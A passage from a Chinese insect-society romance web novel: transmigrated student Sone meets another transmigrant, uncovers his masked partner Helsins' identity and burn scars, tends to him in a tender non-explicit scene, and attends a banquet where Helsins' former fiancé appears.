知道对方是雄虫,但没想到是这么……艳丽? 索涅一时间难以形容。 一只看起来就是个闷葫芦的军雌端着两个大餐盘,警惕的眼神在看到索涅时悄然放松。他旁边,个高腿长的雄虫扎着中长发,鼻侧一颗小痣,细长的眼尾疑惑地半抬着。 “有什么事儿么?”雄虫说。 索涅手心出汗,直视着他,“……你知道,女娲用什么办法创造生物吗?” 雌虫疑惑地看着他们,女娲是谁? 那只雄虫嘴里叼着的饼干掉在地上碎成几瓣儿,他瞪大眼神情激动地冲到索涅面前:“你是——” “你知道就好,我还有课,加个联系方式吧,”看他这么激动,索涅反而已经平静,“有空再讨论那部神话故事。” 雄虫连忙掏出手环:“加加加!我靠!我靠我靠!” 他已经词穷。 索涅激荡的心绪和他不相上下,他看了眼时间,心里有些遗憾:“我快上课了,等会儿再聊。” “啊——”对方失望地拉长语调,“你什么专业啊上课这么早,太周扒皮了。” “机甲战斗。”索涅匆忙端起没吃几口的饭。 对方一愣,然后忍不住拍了拍索涅的肩,“哥们儿牛掰。” 索涅无奈,匆匆道别后赶到教室,差点又迟到。 与精神力训练相连的是战术要略,这也是个入门课程,学的不难。 索涅想摸鱼,但还是忍住了。 下课后他给对方发了条消息,但直到他到家都没收到回复。大概对方也在忙。 索涅走进昏暗的院子,莫名地察觉到一丝不对劲。 院子没开灯就算了,连客厅里也黑漆漆一片。这只雌虫午觉睡过头了?还是外出还没回来? 他走进屋子打开灯,却看到拖鞋少了一双。 而且,有一种熟悉的波动,正从希塞尔的卧室传出来。这种情况俨然已经持续了很久,整个一楼都弥漫着雌虫不受控制的精神力。 索涅缓缓地走到那扇门前,目光幽深。 一丝可笑的希望又升起了。 但万一不是他,又该怎么办? 精神力的波动柔缓地蹭着他,泄露出一丝急躁和不耐,撕,扯,推,勾,竭尽一切所能,想让雄虫进入这扇门,去看看他痛苦燥热的身体。 眼睛,头发,都可以改变,那么精神力呢? 索涅定定地看着,思考着。可他的精神丝已经蠢蠢欲动地伸出触角,他的手也已经放在门上。 他必须进去。 他赌不起。 或许赫尔辛斯正在痛苦地咬着牙,但他却就这么走开? 一想到这种可能,他的心脏犹如刀绞。 手上一用力,门便静悄悄的开了,里面漆黑一片。 门开启的瞬间,里面的燥热和某种混乱的气息直扑他面门。 索涅开启手环的灯光,用手掌罩着大部分光线,去看床上那一团黑影。 他瞳孔骤缩,脑海霎时被那片恐怖的疤痕占据。 烧伤……那是烧伤…… 光线照到对方的一瞬间,雌虫警惕地瞬间拿起面具扣在脸上,可还是迟了。 他惊慌地看着索涅,额头一片汗迹,嘴里嗫嚅着:“您……怎么——” 他霎时停住,意识到自己说话了。 索涅却没对此说什么,注视着他,看到了他的无措,这种惊恐,他从未在赫尔辛斯身上见到过。 他顿了顿,关闭了灯光。 屋内伸手不见五指,甚至比刚才还要黑暗。 索涅缓缓地靠近床铺。他没有收敛脚步,甚至刻意踩出一些声音。 赫尔辛斯不安地在床上朝后退,下一秒却听到雄虫似乎撞到什么东西发出痛呼的吸气声。 他瞬间从床上翻身而起,打开床头灯,刚要去搜寻雄虫的身影,却发现对方几乎贴着他的后背,正俯身看着他的一举一动,中间七八米的距离如同虚设。 黑白分明的眼睛一眨不眨,瞳仁边缘泛着幽深的蓝色弧光,肤色苍白犹如鬼魅。 赫尔辛斯后背汗毛乍起—— 作者有话说:索涅你真是越来越像鬼了[狗头]本文沙雕标签由副CP倾情贡献[害羞] 作者一个滑跪[菜狗]抱歉更新迟了 第30章 别着急 “……希塞尔。”索涅…… “……希塞尔。”索涅低头看着快缩成一团的雌虫, 叫出这个名字。 心脏跳如擂鼓般撞击着他的心腔,他紧紧地盯着雌虫的脸,目光落在那张朴素的黑色面具, 又迅速移开, 专注地看着雌虫的眼睛。 他没有试图去拨开防御姿态蜷缩起来的雌虫, 只是捻起雌虫的一缕灰绿长发放在眼前仔细观察, 然后坐在雌虫膝盖边。 赫尔辛斯惊魂未定, 被雄虫看到了伤疤的猜测让他心里崩溃, 更怕自己被认出来。 他希望索涅记忆里的“赫尔辛斯”是完美的,而不是目前这副鬼样子。 但他听到,索涅在叫他“希塞尔”, 膨胀的惊惧顿时犹如气球般被戳破。 雄虫可能……并没有认出他? 他松了口气, 可内心深处又划过一抹失落。 索涅注意到雌虫屏住的呼吸开始流动, 胸膛缓缓地起伏着,灰绿的长发铺洒满肩, 原本粉棕的皮肤在夜光下犹如丝绸般闪着光泽。 他俯身凑近雌虫的脸,仿佛当他脸上的面具不存在,雌虫下意识想低头躲开,被索涅一手扶住脸颊掰了回来。 四目对视,万籁俱静。 “需要帮助吗?”索涅端详着雌虫为数不多露出的皮肤, 推测着他的情绪。 雌虫的脸颊皮肤柔软,只是硬邦邦的面具有碍接触,索涅心里轻啧一声。 雌虫逃避地不想说话。 “悄悄地告诉我。”索涅好脾气地将耳朵凑到雌虫唇边。 赫尔辛斯恼羞成怒,雄虫把他当崽子哄吗! ……他之前废了多大力气才让厌雌的雄虫喜欢自己, 现在这个身份,一上来就能得到这种优待? 他心里酸溜溜,栽树的明明是他! 被精神丝冲击到思维迟缓的雌虫显然忘了, 栽树的和乘凉的都是他自己。 “不愿意说吗?那就写出来。”索涅好整以暇地退开,拿起雌虫的手环递给他。 雌虫接过,然后“啪”地放回原位。 “您……明明知道了。”他低声地控诉。 “我知道什么了?”索涅凑到他面前,“希塞尔?” 他早已将雌虫蔓延的精神丝全部收集,梳理整齐后圈在一旁,自己的精神丝在雌虫太阳穴上蠢蠢欲动。 “为什要装作不能说话?”他不知不觉笼罩在雌虫身上,几乎贴在对方耳边。 “……”赫尔辛斯抿起唇,他还是觉得索涅认出他了,“您知道。” 索涅唇角翘起,“你不说,我怎么会知道?” 他的鼻尖凑近雌虫汗湿的脖颈,在夜灯下,这里几乎闪着一种奇妙的珍珠般的光泽。 赫尔辛斯仰起下颌,一只手抵在雄虫身上。 “您不是说……不能额外接触……”他嗫嚅着,不知道是抱怨,还是撒娇。 雄虫的鼻尖离他脖颈的皮肤只有一厘米,轻轻地耸动几下,仿佛在嗅闻他的猎物。 “当然,希塞尔,”索涅齿尖含着这个名字,“不过现在我改变主意了。” “我……”赫尔辛斯语结。 索涅真的认出他了吗? 或者……喜欢上了“希塞尔”? 他垂下眼眸。雄虫一直在叫“希塞尔”,而不是“赫尔辛斯”。 “你的面具,”索涅注意到雌虫唇瓣抿在一起,呼吸微滞,“如果你不想摘,那就留着吧。” “我们现在应该讨论一些更重要的事,你的精神域。”索涅戳了戳雌虫的精神丝,“让我进去。” 某种醇厚的香味自索涅身上蔓延,赫尔辛斯觉得这味道泛苦,和以前有些不一样了。 “我可以压制——” “我配合你,你是不是该礼尚往来?”索涅拨弄着雌虫的精神域壁垒。 他从来没有被赫尔辛斯拒绝过,雌虫竟然对他关闭了精神域?! 雌虫水盈盈的眼睛看着他,温柔中透露着深切的哀伤。 哀伤个屁!这家伙骗他的时候那叫一个得心应手! 他心里积攒的火山彻底爆发:“赫尔辛斯——” 他话音顿住,旋即在雌虫耳边咬牙切齿:“打开!” 尾音落下的一瞬间,紧闭的宅门轰然开启,纤细活跃的精神丝犹如渊然不绝地江河,眨眼间将雌虫宽广的精神域塞得满满当当。 “您……”雌虫双眼失神,眼角落下一滴晶莹的水珠。 恐惧与自卑仿佛离他远去,他心里格外满足。 雄虫认出他了,并且在为他梳理精神域。毫不吝啬放出信息素,侵入他的皮肤,虫纹在为失而复得的滋养而欢呼,滚烫的火焰自那块花纹烧遍全身,他的眼睛逐渐蒙上一层难耐的血色。 “别着急……”雄虫低声安抚着。 情况分外糟糕,这种事得有个轻重缓急,他得先梳理好雌虫的精神丝。 他正安抚地用手指梳理雌虫的头发,就感觉一双修长有力的腿圈住了他的腰,甚至能在他背后打个来回,小腿抵着他的后背。 “雄主……” 索涅头皮发麻,狠狠地瞪了他一眼。 雌虫神志不清,直白地冲他舔了舔唇。 他的诱惑很成功,得到了一个令虫窒息的吻…… 指尖梭巡到一片荒芜嶙峋的伤口,雌虫浑身一颤,双腿用力将索涅绑在他身前,反被雄虫拍了拍臀。 “松一点,动不了了。” “……” …… 赫尔辛斯站在镜子前,有点迟疑地扭过身,脸色霎时一白 丑陋的疤痕附近,密密麻麻全是吻痕。不知道雄虫昨晚到底亲了多久。 “笃笃”。 没等他穿上衣服,索涅推门而入,眼睛倒影出衣衫半露的雌虫。 “好点了吗?”索涅装作没看到那片皱皱巴巴深浅不一的皮肤。 赫尔辛斯望着他,嘴唇蠕动。 “精神域还疼吗?”索涅替他扣上扣子,“还疼的话今天我请假,好好治你。” 雄虫这话未免没有和他算账的意思。 “不疼,”赫尔辛斯低声说,“您很厉害。” “少拍马屁,”索涅轻哼一声,“赶紧去吃饭,我还要去上课。” 来到一楼,赫尔辛斯沉默地看着雄虫准备的一大桌子早餐——全是买来的。 没有他最想吃的。 索涅胃口不好,随意吃了几口就放下筷子,看着雌虫断断续续地吃完五人份的早餐。 赫尔辛斯被看得有些不自在,“您应该再吃一点。” 他低头一看,脸发红,因为已经全被他吃完了。 他想着一些事出神,不知不觉把雄虫那份也吃了。 “我吃饱了,”索涅喝了一口茶,“希塞尔,你每天就只是待在这个院子里?” 赫尔辛斯神色怔然,进而瞬间意会,“……是。” “太无聊了,记得出去找份工作,”雄虫低头看了眼时间,“这样吧,既然你这么闲,不如陪我去学校,当我的实战课对练?” “……需要我准备什么吗?”赫尔辛斯完全没想到会是这件事。 “准备好你自己就行。”索涅说完起身穿上外套,“会开飞行舰吧?” 赫尔辛斯几乎要为雄虫自然的演技产生错觉,索涅真的在把他当成希塞尔。 ……还是不一样的,赫尔辛斯敢肯定昨天的索涅绝不会和他坐在一张桌子上吃饭。 雄保会送了一架相当花哨的飞行舰,是今年“糖果星球”最新款,性能超前,舰体帅气。 就是颜色花里胡哨。 并且安装了很多违法的小东西。 赫尔辛斯从驾驶座侧面抠下一个芝麻大的监听定位微型机器虫,机器虫还想防御,被他一把捏爆了。 索涅毫不为意,要是没有这东西那才奇了怪了。 今天早上是联结格斗,虫族的双向机甲不仅需要驾驶者有极强的心理素质和精神等级,必要时刻格斗能力也是决定胜败的关键。 雌虫们已经对索涅很熟悉,见到他踩着铃声匆匆赶来,一脸见怪不怪,但看到紧跟在他身后的面具雌虫,顿时在心里猜测着各种可能性。 “肃静。”老师皱眉。 雌虫们眼睁睁看着索涅和那只雌虫站在一个练习区。 昨天还脾性冷烈的雄虫,今天就被这家伙拿下了?难道他们终究不能近水楼台先得月? 赫尔辛斯对这门课很熟悉,于是众虫子就看到一只雄虫一次又一次地被压制在地上,脖颈汗水淋淋。 有虫不忍看到这幅景象,“你怎么能这么对待雄虫阁下?” 索涅揉着手腕扭过头,瞳仁黑沉沉,“我允许的,你有意见?” 雌虫语结:“但是……这不安全,他在伤害您……” “怎么了?”老师注意到这边。 “老师,这只雌虫根本一点都不懂得爱护雄虫,阁下的手臂都青了。”雌虫连忙解释。 索涅抬起手臂看了一眼,无所谓地刚要放下,却被赫尔辛斯一手捞起。 雌虫们的眼珠子差点瞪出来,索涅阁下一看就脾气差心狠手黑,这家伙竟然敢不跟雄虫打招呼直接上手! 索涅看着赫尔辛斯耷拉的眼睑,用另一只手拍拍他的手腕以示安慰,“没事,晚上回去喷点治疗剂就好了。” 其他虫:“……” 虽然仍旧是冷着一张脸没有笑意,但怎么感觉阁下这两句话格外不一样? “老师,我是机甲战斗专业,这不过是正常训练,他未免太小题大做。”索涅说道,“希塞尔会保护好我,他有分寸。” 老师看向希塞尔,这只雌虫一言不发地站在索涅身后,身形倒是十分优越,一看就是机甲战斗的好苗子。 “少掺和别的组,”老师回头训了那只雌虫一句,“你是学生,不是雄保会。” 那只雌虫脸色涨红。 “其他组继续!不要走神!”老师离开了他们这边。 赫尔辛斯情绪极低,对索涅的淤青分外在意。 “继续吧。”索涅站到他对面。 他们的对战几乎是一边倒,直到体力耗尽,索涅终于勉强平了一招。 雄虫的这幅壳子和雌虫终究有天然差距,这意味着他要付出多倍的努力。 这节课主要是用基础性的招式监测学生们的综合能力,根据系统判定,没什么格斗基础的索涅竟然排在中游。 他的耐力和灵活性都有八十分,唯有技巧不及格。 力量方面,当索涅一拳打得仪器冒红光时,所有雌虫几乎都笑不出来。 雄虫力气大可不是什么好事。 唯有赫尔辛斯,替雄虫擦了擦手,无比真诚:“您真厉害。” 索涅对自己异常的力量心知肚明,可赫尔辛斯这语气还是让他尬了一下—— 作者有话说:OhOhOh~[狗头]索涅靠着蛮力平了赫尔辛斯一招《 》 30-40 第31章 您会得到一切 圣托的占地面积和学生数…… 圣托的占地面积和学生数量是呈正比的, 光餐厅就有六十二个,军事分部更是独占鳌头,东南西北各有八处餐厅。 形形色色的飞行器灵巧地在楼宇间穿梭。索涅打开窗户, 把痛得发烫的胳膊伸出去。 “你上学的时候哪个最好吃?”他问赫尔辛斯。 “北部六号很不错, ”这段记忆对赫尔辛斯来说太过久远, 但他也记得一些, “我不经常去餐厅, 您准备去哪里?” “就近吧。”索涅设置好导航, 飞行器带着他们缓缓凌空。 不得不说,圣托校内飞行器的体验感还是很不错的,有种玩障碍赛的感觉。 除了吃饭, 索涅今天还约了一个人。 “哎!这里!” 他和赫尔辛斯刚准备找个位置坐下, 就看到三楼露天茶座边一只虫子在冲他们疯狂招手, 他旁边的虫子想拦又不敢拦。 索涅立刻起身,“我们去三楼。” 赫尔辛斯若有所感, 跟上走得飞快的雄虫。 三楼的装修有些复古,他们两个端着二楼的食物穿过桌椅走廊,远远地看到一只雄虫在露台门口左顾右盼,看到索涅瞬间面露惊喜。 “你可算来了!下课迟又上课早,你这也太惨了。”那只雄虫吐槽。 索涅脸上不禁挂着笑意, “没办法……你是哪个专业?昨天什么都没来得及问。” 那只雄虫激动之下也没忽视这位同胞身后紧跟的雌虫。 嗬。 他心里惊叹,好强的气势。 他这位同胞也不同凡响,身后跟着一个个高腿长宽肩窄腰,还带着神秘面具的强大雌虫, 仍旧能凭借鬼一样的气质,不费吹灰之力脱颖而出。 “我是地质能源,也就是个打扫战场的, ”他笑眯眯,看起来不怀好意,“索涅?这是你大名还是小名?” 索涅放下餐盘,这里视野确实不错,徐徐微风中弥漫着草木的清香。 “大名。”他知道对方什么意思,他这个姓氏确实不多见。 赫尔辛斯闷不吭声,默默地听着两只雄虫打哑谜。 “挺好,我小名叫恩修,他是我跟屁虫,莱昂兹·米尔顿。”恩修一脸嫌弃地指着和他一起的雌虫。 雌虫莱昂兹严肃地冲着索涅行了一个礼,“阁下您好。” 索涅颔首,“你好。” “不介绍介绍这位?”恩修朝赫尔辛斯抬抬下巴。 恩修展开手臂靠着栏杆,围栏透明,导致他身后看起来空无一物,莱昂兹神情紧张。 “希塞尔·普泊,我对象,很难看出来?”索涅淡然地说。 恩修眼珠子一瞪,“你长着这么一张直男脸,竟然也……?” 索涅沉默片刻,“先吃饭吧,我还有课。” 恩修为他哀叹。 两只雄虫好像有说不完的话,时常说出一些他们都不理解的词, “这个世界对我还是太友好了,”恩修有一搭没一搭地戳着炸鱼,“我以后不愁没饭吃。” “而且竟然可以娶那么多老婆,”他忍不住畅想未来,“到时候一个给我倒茶,一个给我捶肩……” 莱昂兹大口朵颐,一边咀嚼一边看着恩修的侧脸,心想恩修阁下对雌虫的要求还真低。 索涅则是无语,“你接受得真好。” “有什么不好接受的,我本来就是gay。”对方说。 索涅:“……那祝你幸福。” “谢谢。”恩修挑眉说。 赫尔辛斯正低头和长满弯曲小刺的胖头鱼较劲,眼前一双苍白的手伸过,盘子里多了一块剃好刺的鱼肉。 他抬头,雄虫却已经又和那只叫恩修的雄虫聊起下一个话题。 一股强烈的视线扎在他脸上,赫尔辛斯寻着这道目光看过去,发现莱昂兹正在盯着他的餐盘。 “这个鱼好吃吗?”莱昂兹直勾勾地盯着它。 “还行,”赫尔辛斯不知道他想干什么,“挺嫩,调味也不错。” 莱昂兹的目光更热烈了。 “馋死你算了!”恩修一把捂住莱昂兹的眼睛,面上有点尴尬,“我跟班他唾液腺比较发达,你们别管他。” “……” 索涅吃了个八分饱,眼看赫尔辛斯的盘子里还有一大半,“怎么了?不喜欢?” 胖头鱼的刺是可以直接吃的,但他看赫尔辛斯一直在剔,还以为雌虫不喜欢吃鱼骨。 雌虫的面具挡住了一些神情,不过那双眼睛会说话。 “心情不好?”索涅又问。 “没有,”雌虫放下叉子,“只是有点没胃口。” “你看看人家!”恩修恨不得摇着莱昂兹的脖子让他少吃一点,杂七杂八塞进去,都胃积食了! “你对象不会是怀了吧?”恩修随口一说。 索涅手指一抖。 …… 下午的课是纯理论,老师平铺直叙的讲课更是让人昏昏欲睡。索涅强撑着听完四节连堂军政素养,头昏脑涨疲惫不堪。 这比实训累多了。 傍晚天色暗沉,深浅不一的乌云缓缓地聚集,沉重地仿佛要掉在头顶空气中弥漫着一股潮湿。冷风刮过,路边的阔叶树哗哗作响。 索涅打开客厅的灯,听到动静低头一看,机械猫正颠颠地跑过来,歪头看着他们,然后蹲坐在玄关电源给自己充电。 “您还留着它。”赫尔辛斯认出了这只机械兽。 “是啊……”索涅脱下外套搭在衣架上,揉着泛酸的眼窝,“当时,就剩下我和它了。” 雌虫沉默。 索涅坐在沙发上喝了一杯水,“站那儿干什么,不累吗?” 雌虫缓缓地走过来,坐在他身边,抿唇,“您还在生我的气。” 索涅看向他,突然伸手拨开他的衣领,食指和中指按着赫尔辛斯的锁骨。 “对,我是在生气。” 指尖轻柔地顺着凸起的动脉,爬过雌虫的脖颈,猛然掐住他的颌骨。 “希塞尔,”索涅语气轻柔,抬起雌虫的脸,盯着那双灰绿眼睛,“骗我,是要付出代价的。” 雌虫眼睫颤动,眸中思绪一闪而过,却仍旧被索涅精准捕捉。 他松开手,雌虫颌骨已经多了两块红痕。 “说说吧,到底是怎么回事。”索涅把一本笔记本扔到他怀里,自己起身走进厨房。 “西红柿鸡蛋面?” “……嗯。”雌虫低缓地应声。 他握着笔,看着洁白如雪的纸张。 墨迹落下,雪地瞬间变得斑驳。他神思不属地写错了一个字,却一时没法修改,只得抬笔划掉。 然而痕迹终究是留下了。 两碗热气腾腾的面被放在桌上,一大一小,骨白色烫金纹的餐具摆得整整齐齐。 “吃吧。”索涅抽走雌虫手里的笔记本,坐在椅子上翻看。 赫尔辛斯一边用叉子卷起滚烫的面,一边偷偷地观察雄虫的神情。 可惜索涅面无表情。 笔记本被合上,他吃第一口时,赫尔辛斯已经快吃完。 “吃饱了吗?”他问。 雌虫点点头。 索涅心里叹了口气。 吃过饭,他将雌虫领到自己的房间,“衣服脱掉。” 赫尔辛斯迅速地脱下裤子。 “……” 索涅亲自动手扒掉了雌虫严防死守的上衣,将虫子按趴在床上,视线落在他的后背。 灯光下,一切无所遁形。 “您……”赫尔辛斯紧张地喘着气,还想爬起来,或者翻过身。 “别动。”索涅低声说。 他伸出手,指尖缓缓地接触那片颤抖的皮肤,凹凸不平的触感让他鼻尖酸涩。 他昨晚留下的大片印记都已经消散,两个月前的伤疤却还顽固地留在新陈代谢旺盛的身体上。 猛烈的火焰烧死了这片皮肤的活性,即便是雌虫恐怖的自愈力,想要痊愈到不留任何痕迹,也需要数十年。 “赫尔辛斯……”雄虫声音沙哑。 一滴温热的水珠落在敏感新生的皮肤上,雌虫被烫地浑身一抖,心脏暖和到发痛。 温暖的唇抵在他最丑陋的部位,泪水在浸润这片干涸坏死的土壤。 赫尔辛斯几乎被信息素和精神丝缠绕得窒息而死。 迷乱,亲密,交融,扎根。 他从未体验过这种,仿佛信息素是他的空气,精神丝是他的食粮。他什么都不缺,要什么都可以得到。 孤独无依的破败岛屿上,苍翠树木拔地而起,一夜之间成林成森,绿草绵延。鱼群在流淌的精神海洋里游动,不再像以前那样企图吞噬他的血肉。 他毫无顾忌地敞开自己,紧紧地拥抱着索涅,任由不属于自己的精神丝刺穿每一条脉络,打下坚固的印记。 他摘掉了面具。 当时,他的骨翼没来得及护住这里,左脸的烧伤连他自己都厌恶。 但索涅捧着他的脸,一寸一寸地吻遍那片皮肤。 赫尔辛斯感觉左脸在发痛,痛到发烫,进而烫得他泪腺失控,上上下下的水都流干了。 “赫尔辛斯……”雄虫在他耳边呢喃,“再打开……还不够……” 雌虫被刺激得迷迷糊糊,彻底放弃对精神域的掌控,任由雄虫牵引着它们,穿过层层屏障,进入他亲手教雄虫搭建的图景。 华美的建筑早已是断壁残垣,一片焦土。 雌虫的眼角渗出最后一滴泪珠。 “你来……跟着我……”雄虫握住他的手。 赫尔辛斯毫不反抗,眼睁睁看着黑金交错的神迹拔地而起,道道阶梯仿佛无穷无尽,自他们脚下蔓延至深渊。 宫殿,王座。 交缠的精神丝团悬浮在宫殿之上,仿佛烈日当空。 赫尔辛斯仰头看着雄虫汗湿的额头。 他轻轻地勾起唇,反握住雄虫的手,吻在苍白的指尖。 “您会得到一切。”他说道。 第32章 变弯是什么感觉 圣山脚下,零零散…… 圣山脚下, 零零散散地坐落着一些情调规格极高的店铺,门口还都是复古气息浓烈的红砖和黑色蜡油灯。 这家餐厅更是将这种风格发挥到极致,透过橱窗看到里面坐着零星几个顾客, 大都是一雌一雄面对面。 “话说, 你到底是怎么弯掉的?”恩修将一块方糖放进咖啡里, 缓缓地搅动着。 “变弯是什么感觉?” “没有感觉, ”索涅点了一杯红茶, “你今天叫我出来的重点是这个?” “当然不是, ”恩修每次一笑都显得不怀好意,“我想问问你关于之前的事。” 他放下杯子,扭头看着窗外, 星星点点的雨滴落在地上, 橱窗也渐渐变得有些斑驳。 “我们为什么会来到这里?”恩修的声音低沉而缓慢, “你想过吗?” 店里温暖而安静,邻座一雌一雄正在相亲。 索涅接过服务员送来的红茶, 滚烫的袅袅雾气缠绕在他眉峰,湿润而真实。 “五月十二号。”他缓缓地说,抿了一口茶水。 醇香微苦,还有点烫嘴。 “我也是!”恩修猛地回头看着他,“游戏下线?” 索涅垂眸看着琥珀红的透亮茶汤, 心里不知在想什么,“差不多,我下线后出门踩空了楼梯。” “……你说,”恩修喝了一口, 又往咖啡杯里放了三块糖,“还有没有其他的。” 他把“人”那个字含在嘴里。 “没碰到,”索涅说, “或许有吧,你想找到他们?” “可别,”恩修当即否定,“那什么心隔肚皮,可别把咱俩坑了。” “你怎么就确定我是好人?”索涅自认为长得不像个好东西。 “我没说啊,”恩修躺在椅背上搅着糖块,“我是艳鬼你是恶鬼,我第六感挺准,咱俩应该是一条道上的。” “……我只是气色不好。”索涅给自己解释了一句。 “得了吧,你老婆那么贴心,你还气色不好,雌虫都跟照顾残废似的,没肥成猪我都得夸你自律。”恩修的语气里带有一丝羡慕,“你特么可以啊,我一个gay到这儿连老婆都没找到,你个直男倒是孩子都快有了。” “……那是你的问题,我们也还没有孩子。”索涅无情地说,“你想要可以跟雄保会说一声,明天你的后台就会被雌虫花名册塞满。” 恩修胸口中了一刀,“相亲还是算了,太累了。” 索涅看他的眼神像看智障,“别搅了,你到底为什么要点咖啡,糖分都饱和到析出了。” “我还以为你喜欢莱昂兹。”他顿了一下,又说了一句炸裂的话。 “我靠!”恩修尴尬地放下勺子,“你从哪儿看出来的?!是他一直缠着我要学厨艺,他不是我的菜。” 他喜欢浪的。 莱昂兹顶多算个实心大白馒头。 “不过他看起来确实对你没意思,”索涅看不懂恩修的想法,但莱昂兹的微表情很明显。 “刚才我出门的时候,希塞尔说莱昂兹让我给你带句话,他今天有相亲,可能会晚点儿到。”索涅说。 “你们这流程有够长的,”恩修轻啧一声,又搅起他的咖啡,“他俩怎么凑到一起了?” “谁知道,”索涅也没问赫尔辛斯,“希塞尔好像在给他出主意。” “大概……莱昂兹觉得希塞尔很会对付雄虫?”索涅猜测。 “哼,你又不是雄虫。”恩修换了姿势坐着,“他成不了,他太老实,不懂怎么色诱。” 索涅抬眼:“你怎么知道他不会?” “……这你别管。”恩修又换了个姿势,咖啡被他搅出一层泡沫。 这事显然有内情,索涅没问,反正赫尔辛斯会从莱昂兹那儿挖出来的。 索涅打包了一份甜点,恩修看着他的动作,也点了一份齁甜的羽毛慕斯。 索涅对此挑眉。 “我是自己吃的。”恩修轻咳一声解释道。 索涅的表情明摆着不信。恩修提着盒子迅速跟他分道扬镳。 雨滴渐渐稀少,天空乌云却密布,零星的小雪花徐徐地变大,等索涅回到家,肩膀上已经落了一层雪。 他打开门的瞬间,温暖的空气扑在脸上,还带着一股柔和醇厚的香气。 他将蛋糕放在桌上,已经猜到雌虫在做什么。 “您回来了。”赫尔辛斯从厨房走出来,这才看到窗外雾蒙蒙的白色,“下雪了?” “刚开始下,之前是雨。”索涅走上前吻了他一下,“偷吃了?怎么是甜的?” “我只是摸不准新糖的甜度,尝了一口。”雌虫说。 他的眼里带着无辜,目光却越过索涅的肩膀,悄悄落在蛋糕上。 索涅失笑,忍不住又亲了亲雌虫的唇,将他推到餐桌边坐下,“也算心有灵犀,奶茶正好配蛋糕,我看那家店的慕斯销量不错。” “自己拆蛋糕,我去倒奶茶。”他说。 将一个小型的空气旋热炉摆在桌上,手工捏制的棕红粗陶茶壶里散发出一股甜香,蛋糕是清甜微酸的莓果味,小巧漂亮。 索涅吃了两口就腻味,一边喝茶一边看着雌虫身后的雪景。 “今晚的宴会,有什么想法?”他问。 赫尔辛斯知道雄虫们的交流会,“……我想和您一起去。” 索涅唇角扬起,“我不是问这个,我们当然要一起去,我是问你,想用什么身份和我一起去。” 赫尔辛斯看着他,犹疑,“……不是雌奴吗?” 雄虫的交流会可不只有雄虫,坦白来说,这是一场雄虫之间的较量,三位圣子都会出场,也算是一个站队的最后通牒。 “希塞尔可不是我的雌奴。”索涅缓缓地说,“慢慢吃,我们有的是时间赶路。” …… 雄虫不喜欢花里胡哨的涂装,赫尔辛斯便抽空去给飞行舰改成银白色,现在降落在白茫茫一片的圣山顶峰,大雪飘飞,要不是从中走出两只虫子,守卫们一时都没发现他们。 “您好。”两只身穿洁白制服,胸前挂着金色流苏的雌虫向他们走来,“请出示您的邀请函。” 索涅拿出那个小玉片递给他们。 “索涅阁下,您好,”雌虫看向他身后的赫尔辛斯,“这位需要登记一下。” 雌虫取出仪器扫描完赫尔辛斯的手环,一直将他们送到长廊尽头,一只亚雌正等在那里。亚雌又带着他们穿过层层关卡,最终抵达宫殿深处宽广华丽的宴会厅。 珀斯是传说中虫神的七只雄子之一,天生拥有深邃如海的蓝眼睛和媲美虫神的精神力。传说他为了采集虫神之母的眼泪而奔赴亿万光年之外,音信全无,只有一副不灭的骷髅保存在博物馆。 这里的装修就是为了纪念珀斯,巨型圣白石与蓝宝石镶嵌出华丽的图案,穹顶之上绘着珀斯浪漫传说的壁画。 “阁下,您可以坐在任意一个空位,”亚雌面带标准微笑,递给索涅一块蓝宝石,轻轻捏一下就会弹出菜单,“如果现场的饮食您不满意,可以随时点餐。” 索涅看了一眼,只当它是个普通菜单,随手塞到赫尔辛斯手里。 赫尔辛斯垂眸看着它,余光瞥到亚雌僵硬的神情。 雄虫可能不知道,这种一对一的服务,圣山的亚雌可不会随意给出去。 亚雌艰难地露出一个笑容,还有其他雄虫需要接待,他只得不甘心地离开。 索涅完全没注意到这些小碰撞,和赫尔辛斯随便找了一个位置坐下。这边视野不错,可以看到其他来来往往的虫子,索涅发现了十几只身穿各式军服的雌虫。 他记下了一些虫子的身份,但还有些他不认识,赫尔辛斯小声地在他耳边介绍,彼此靠得极近。 “卫都家族的小雄子,是梅尔加一脉,地位三流……” “莱蒙利·范斯,第三军最有实权的上将……” 他们在窗边靠在一起说悄悄话,其实已经引起了一些注意,毕竟刚才珀斯厅的亚雌给这只雄虫递蓝宝石,他们可都看到了。 这些亚雌都是圣山从平民中选拔,从小培养,不论是体态容貌还是学识谈吐都极为符合雄虫的普遍审美,何况他们还挂着圣山的背景。 总之能娶回去倍有面子。 不过亚雌对着这只他们都没见过的雄虫示好,那就不简单了…… 八点整的钟声响起,在场的氛围顿时一变,灯光渐暗,索涅随着他们的目光看过去,果然见旋转楼梯拖起的高台上,缓缓地显现三只雄虫的身影。 他们穿着统一的雪白长袍,下半张脸、脖子、双手都被布料遮盖,目光和煦到有点慈祥。 索涅:“……” 星网上都有这三只雄虫的全息照片,连每月笑了几次都有虫专门记录然后发在网上,捂这么严实,除了提升逼格,实在想不出来第二个理由。 “诸位,欢迎你们不辞辛苦&*&?#@@……”最中间的圣子向前一步,开始罗里吧嗦地说一些大空话,显然他是地位最高的。 十分钟之后,在索涅忍不住想打个哈欠之前,圣子终于结束了他的演讲,三只虫拖着长袍从旋转楼梯上走下来,估计是想与民同乐。 索涅都怕他们被衣服绊倒。 宴会厅里逐渐恢复热闹的气氛,众多雄虫三两聚在一起,身边坐着各自带来的雌虫,从有理有据的高谈阔论,逐渐转为夹带颜色的不良话题。 钴蓝色光屏漂浮在空中,每只虫说的话都在上面轮番滚动,索捏头一次觉得文字可以这么辣眼。 “你不想说说体会?”身后突然传来一道轻柔低缓的声音。 一只穿白袍子的虫迈着拖泥带水的步伐,在他对面坐下。 索涅面无表情:“我没什么体会。” “怎么会?他不就是你的杰作?”白袍子虫讶异,目光扫过赫尔辛斯。 他停顿了一秒,语带温和的笑意:“忘记介绍了,我是西沙·梅尔加。”—— 作者有话说:西沙,赫尔辛斯的前未婚夫[狗头叼玫瑰] 文文将在10月4号本周六入v[垂耳兔头]届时掉落万字肥章 第33章 蓝色行星是雄虫?! 索涅握住赫尔…… 索涅握住赫尔辛斯的手, 掌心相触,他发现雌虫脉搏平静,手心无汗。 雌虫根本对西沙毫无反应。 “怎么, 还以为是我的弟弟艾浮?”西沙半天没得到回应, 眼神微沉。 “我在想我的体会。”索涅慢吞吞地说。 西沙:“……你想出来后可以和大家多多交流, 汲取经验, 才能更好地治愈雌虫。” “他就是艾浮送给你的那只雌虫?看来你对他挺满意, 我也认识有几只不错的雌虫, 你可以挑一挑,”他意味深长地看着索涅,“主星资源丰富, 一只毁容的雌虫, 